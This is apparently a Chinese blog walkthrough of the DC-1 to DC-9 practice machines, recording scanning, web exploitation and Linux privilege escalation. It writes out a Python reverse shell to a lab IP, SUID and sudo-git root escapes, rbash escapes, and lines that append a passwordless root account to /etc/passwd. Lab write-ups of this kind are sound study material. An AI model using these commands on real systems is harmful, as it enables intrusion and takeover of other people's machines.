DC-1
信息搜集
扫描端口服务
发现开启了111端口,搜集一波信息,找到一篇文章,可以对服务器ddos从而使其崩溃,这里我们大概没啥用
访问网站,得知web框架是drupal
百度下有挺多getshell教程,msf搜索下有没有集成相关漏洞
msf获取会话
挨个试,试到第五个成功获取session
python建立交互式shell,在当前目录下找到flag1,并且下一步提示在配置文件里
1 | python -c "import pty;pty.spawn('/bin/bash')" |
在站点的default目录下找到了一个settings.php,查看后得到数据库用户名和密码以及下一步的提示
重置网站管理员密码
尝试登录mysql
drupaldb库里有张user表,在里面找到用户名以及hash处理后的密码
试着john和hashcat解密,解不开,后来搜到一篇文章说可以重置密码,重置下即可
首先使用密码生成脚本生成新密码的hash
拿到hash在mysql中手动更新一下
但我这里因为超过失败次数账号被锁了,那么按照文章中说的,情况flood表即可
1 | truncate table flood |
管理员登录
在dashboard里找到flag3
SUID_find提权
根目录下发现home目录下有flag4文件
提示我们要提权,我们查看下系统内核
本来想到脏牛,但靶机没有安装gcc环境,那么试下SUID提权
首先查找拥有SUID权限的文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
我们可以看到文件是具有root权限的
我们可以利用其权限执行命令,常用的是find命令,它有一个-exec
选项,可以让我们执行shell命令
1 | /usr/bin/find flag1.txt -exec whoami \; #这里的文件必须是能找到的 |
在kali上新开一个终端nc监听端口,靶机建立一个python开启一个连接
1 | /usr/bin/find /var/www/flag1.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.126.128",3122));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \; |
find命令找到flag文件
读取flag
完成
DC-2
信息搜集
扫描端口,ssh端口被改了下
访问80端口发现被重定向,那么修改一下hosts文件即可
修改之后目录扫描发现一些wordpress的目录
并且whatweb扫出来了wordpress4.7.10,挺老的版本了,应该有洞
在菜单栏得到flag1
bp||wpscan爆破用户名和密码
提示说需要用cewl,说我们需要用某个账号登录来得到下一个flag
百度下cewl是一个kali自带的根据网站深度自动生成字典的工具,简单了解一下咋用,试着生成一个字典
输入下列命令之后,爬虫会根据指定的URL和深度进行爬取,然后打印出可用于密码破解的字典:
1 | cewl http://www.ignitetechnologies.in/ |
加上-w参数保存结果到文件
有了可能包含了密码的字典,那么现在需要一个用户名,菜单栏里有个ourpeople,但点进去发现貌似是一种似英文而不是英文的东西,信息搜集失败
/wp-admin/
进去看下后台,后台的检验方式可以爆破出用户账号
抓包爆破出这几个
用intruder的cluster bomb模式爆破下,用户名添加这三个,密码加载上之前cewl得到的字典,爆破出来两个
后来在看wp时了解到还有种获得用户名的方法
wpscan是一款专业针对WordPress安全扫描仪,学着用下
wpscan --url http://dc-2
进行信息扫描
wpscan --url http://dc-2 -e u
进行用户名枚举
再使用cewl爬取的密码文件进行爆破账号密码
1 | wpscan --url http://dc-2 -U u.txt -P aa.txt |
这样也可以得到用户名密码
登录看看,在jerry用户上找到flag2
爆破ssh登录
用wpscan扫了下主题和插件漏洞没啥发现,试着hydra用刚得到的字典爆破下ssh,发现tom用户可以登录
那么ssh登录
操作发现一些命令被移除,但vi可以用
提示提权,但开启了rbash限制
rbash逃逸
google了下相关信息,大概学到了两种方法适用
一种是利用vi提权
先后在vi的命令模式下执行以下两条指令
1 | :set shell=/bin/sh |
一种是利用BASH_CMDS,它是含有命令的内部散列表的数组,我们可以添加元素,然后执行
ps:另外还学到了一个自动补全命令compgen -c
,通过这个我们可以得知当前可以使用的命令
但我们逃逸了之后还是会发现无法执行命令,原因是环境变量中命令调取的路径被改变了,我们执行export PATH=/usr/bin:/usr/sbin:/bin:/sbin
把路径改回来,就可以正常执行命令了
find命令寻找flag文件
虽然说没hints,但最后说了一句git出去,也就是git提权了
git提权
tom用户里找不到更多信息了,之前找不到的su命令可以用了,利用之前的密码切换到jerry,百度些git提权的信息学习了下
linux中more和less命令允许我们以分页的方式查看文本文件,如果我们在这种分页状态下输入诸如!'ls'
的指令,引号之中的命令就会执行
而git中正好有一个-p
选项支持用分页的方式阅读帮助信息,这种模式和more,less命令的模式相同
我们执行sudo -l
查看sudo的权限,这里提示我们git命令是root权限并且是不需要密码的
那么sudo执行git -p
,在分页模式下执行!'/bin/sh'
即可获取一个root权限的shell
find
查找flag,找到最后一个flag
完成
DC-3
信息搜集
端口只开了一个80
探测到的是bootstrap框架
后台地址
打开网址得知系统是joomla
用xray扫出了一个cve
cve得到用户名密码
github上找到这个cve的poc
成功得到管理员hash后的密码,试着放到john里爆破,得snoopy
getshell
登录
看能不能找到上传点getshell
模板处找到上传点
点击new file生成一个php文件,将一句话代码写入,蚁剑连接
或者这里用msf也行,它直接集成了这个cve,设置payload之后expliot可以直接getshell,方便又快捷
double_fdput提权
查看下系统内核是16年的ubuntu
发现有git,下载个linux漏洞检测工具试试
执行脚本列出了几个可能的漏洞
并且给了各个漏洞的利用脚本,一个个试,两个脏牛直接导致会话崩溃,第三个成功提权
wget把给的脚本文件下载下来解压,进入exploit目录,运行compile.sh,执行doubleput,成功得到root权限
find搜索flag,完成
DC-4
信息搜集
ssh开着,80服务一个登录框
获取敏感信息
也没挂啥服务,一边丢burp,万能密码直接进来了。。。
进来是个命令执行界面,内置了几个命令,抓包有任意命令执行
搜索一番发现jim用户下有个备份文件夹,里面有一个旧密码的txt
ssh爆破
用得到的旧密码试着爆破jim用户的ssh密码,
登录,home目录下有个奇怪的邮件
翻目录,在var下的mail目录下找到一封邮件,得到Charles的密码
那么切换用户,得知teehee命令是不需要root权限的
teehee提权
看看这个是干啥的,–help查看帮助
注意到-a
参数可以直接在文件末尾加上字符串
那么尝试往passwd写入一个账户
/etc/passwd
各个字段的含义:
1 | username:password:User ID:Group ID:comment:home directory:shell |
写入
1 | blacknight::0:0:::/bin/bash |
密码我们直接置空,uid和gid都是0,也就是root用户,也就是说覆盖了root账户,密码为0
根目录执行find命令找到flag
DC-5
信息搜集
111端口之前以及提到可能会造成拒绝服务攻击,36018不知道啥服务
扫下目录
探测指纹也就一个nginx,没啥框架
访问80服务,几个页面都是一大堆文字,就一个
整个网站就这么一个页面可以交互,抓包看看
发现每次发包,copyright的年份都会变化,之前也扫到了一个footer.php,访问下正是这个部分
日志注入
那么猜想thankyou.php应该是require或者include了一个footer.php,那么就可能存在文件包含漏洞
验证一下确实存在,参数。。。嗯猜出来或者fuzz一下
那么日志就可以包含到了,直接往日志里写入shell
我这直接nc一个端口连一下
转换程交互式shell
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
SUID_screen4.5.0提权
没找到啥其他可疑文件,找找suid,发现有个奇怪的screen
百度一波
并且看到该版本可以提权,搜索相关漏洞
跟着文章复现即可
最后得到root权限
tips:这里的几个shellcode是用nc传过去的,在看wp的过程中学到了使用vsftps进行文件下载,参考文章
DC-6
信息搜集
又是一波重定向,修改hosts搞定,打开80页面是熟悉的wordpress界面
爆破后台
wpscan扫一波发现了几个用户名,尝试爆破无果,回去看看还有提示
说是把rockyou.txt里的包含k01的密码提取出来,那就试试用这个爆破,还真出来一个
登陆后台,注意到有个插件,大概是记录网站活动的东西
getshell
百度得知这个插件是被爆过洞的,参考文章
这里存在着命令执行
那么直接连个shell
输入框有长度限制,抓个包构造
备份脚本执行
home目录下有个txt,获得graham的密码
sudo -l得知有个jens用户的backups.sh免密
并且当前用户还对文件有写入权限
执行看看
那么直接nc连下
nmap命令执行提权
又发现nmap可以root免密执行
那么直接创建一个脚本,利用nmap执行脚本获得一个root用户的shell
得到flag
DC-7
信息搜集
框架是drupal
没啥公开洞,登录密码爆破无果。
社工
注意到网页底部有个标识
github搜到相关信息
配置文件中得到用户名和密码
登录不上,ssh连接成功
drush修改用户名密码
用户目录下有个mbox,查看信息大概是个定时任务提醒
来到opt目录,查看backup脚本
注意到里面有个drush命令,百度一波,得知是操作drupal的工具,可以直接修改用户名密码
这里注意要到html目录下运行,只有这个目录是www-data权限,不然会提示权限不够
改好了密码登录
getshell
backups.sh脚本是root用户执行的,并且www-data可以改
那么考虑怎么拿到www-data的shell
翻阅后台,本来想生成一个php页面,但百度得知drupal默认是移除了php页面生成的
想要创建一个php页面必须在线安装或着下载离线包
点击安装模块
输入下载地址,点击install
激活
找到模块勾选
点击install
回到创建页面,发现已经可以创建php页面
监听端口,save访问,成功getshell
定时脚本执行提取
注意到之前的脚本是root用户执行的,并且www-data可以改,那么直接往里面加内容连shell
等一会即可获取root权限
得到flag
DC-8
信息搜集
xray监听放着,点几下网站,直接爆出了sql注入
sqlmap获取用户名密码
sqlmap一把梭
john试着爆破下,admin没爆破出,得到john用户的密码
getshell
试着寻找webshell注入点
这里没成功,看了下wp说是要在php代码之前加一些文字
这样再试下,点击submit
成功弹到了shell
exim4漏洞提权
这里的目录文件大概是和dc1s一样的,有重置密码脚本,站点下的配置文件也直接给出了数据库密码
可以直接重置管理员密码,但我们需要的是提权
寻找特权文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
发现一个可疑的命令exim4,百度下相关信息,得知可以提权
查看版本
查找相关漏洞
复制相关脚本到本地,再本地python搭个http服务,目标机shell上把脚本wget下来
查看脚本使用说明
但执行不了
大概是因为脚本是在windows上编写完成传到Linux服务器上的,是dos格式,而shell脚本格式必须是unix才行,验证方法
1 | cat -A filename,如果输出结果中行末尾是^M$,则是dos格式,如果行末尾只是$,则是unix格式 |
在博客中找到解决办法
在本机上将脚本通过vim的: set ff=unix
转换为unix格式,再wget到目标主机
再赋予权限执行,成功拿到root权限
得到flag
DC-9
信息搜集
xray扫出个sql注入
sqlmap一把梭
users库里的Userstaff表里存储着用户名和密码
Staff库的User表里找到管理员密码
md5网站看下
登上管理员账号看看没啥发现,只有个添加记录的功能
注意到提交页面之后下面有个file not exits,猜测可能是包含了file参数,试下成功任意文件读取
端口敲门
把之前跑出来的用户名和密码复制下来准备ssh爆破用,但之前nmap已经得知,22端口被flitered了
Port Knocking for Ubuntu 14.04 Server
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
知识盲区了,通过文件读取查看etc下的knockd.conf
现在看ssh是关闭的
按照这个方法我们nmap访问7469,8475,9842三个端口,这里还要注意顺序
现在看ssh已经打开了
ssh爆破
那么我们利用刚存好的用户名和密码在hydra里爆破
挑个登录,在一个用户里又找到一份密码文件
再复制下来跑一下,又多跑出来一个用户
写入root用户提权
登录,查看sudo -l,有个自定义的脚本
大概就是读取read部分的文件,然后把read的文件写入append文件,并且这个命令是root权限的可以写入root权限的文件
那么如果我们往/etc/passwd中写入一个我们自己的用户,比如
1 | blacknight::0:0:::/bin/bash |
那么就创建了一个blacknight的用户,并且他的uid和gid都是0,其实也就是root用户
1 | echo 'blacknight::0:0::/root:/bin/bash' >> /tmp/aaa |
但这里发现个问题,那就是用户名超过一定长度就失效,后来改短了点才加进去
1 | echo 'tos::0:0::/root:/bin/bash' > /tmp/aaa |
但即使密码设为空也无法登录,换种方式,仿照/etc/shadow的内容,使用openssl生成一个hash的密码
1 | openssl passwd -1 -salt tos 123456 |
成功登录root用户
得到flag